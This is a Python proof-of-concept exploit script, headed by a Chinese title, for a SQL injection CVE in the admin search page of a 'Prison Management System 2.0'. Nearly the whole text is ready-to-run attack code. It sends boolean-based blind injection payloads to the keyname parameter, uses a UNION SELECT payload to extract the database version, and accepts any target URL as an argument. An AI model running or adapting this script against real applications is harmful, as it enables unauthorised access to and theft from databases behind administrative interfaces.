CVE-2025-14589 Prison Management System SQL注入漏洞

#!/usr/bin/env python3 """ CVE-2025-14589 SQL Injection PoC for Prison Management System 2.0 Target: /admin/search.php?keyname parameter """ import requests import sys TARGET_URL = "http://target-host/admin/search.php" def test_injection(): """Test basic SQL injection vulnerability""" print("[*] Testing CVE-2025-14589 SQL Injection...") # Boolean-based blind injection test payload_true = "test' AND 1=1 ---" payload_false = "test' AND 1=2 ---" try: # Test TRUE condition params = {'keyname': payload_true} resp_true = requests.get(TARGET_URL, params=params, timeout=10) # Test FALSE condition params = {'keyname': payload_false} resp_false = requests.get(TARGET_URL, params=params, timeout=10) # If responses differ, vulnerability exists if resp_true.status_code != resp_false.status_code or len(resp_true.text) != len(resp_false.text): print("[+] Vulnerability confirmed! SQL injection is possible.") return True else: print("[-] Could not confirm vulnerability.") return False except requests.RequestException as e: print(f"[-] Error: {e}") return False def extract_db_version(): """Extract database version using UNION-based injection""" print("[*] Attempting to extract database version...") payload = "test' UNION SELECT NULL,version(),NULL,NULL,NULL ---" try: params = {'keyname': payload} resp = requests.get(TARGET_URL, params=params, timeout=10) if '5.' in resp.text or '8.' in resp.text: print(f"[+] Database version extracted successfully") except requests.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] test_injection() extract_db_version()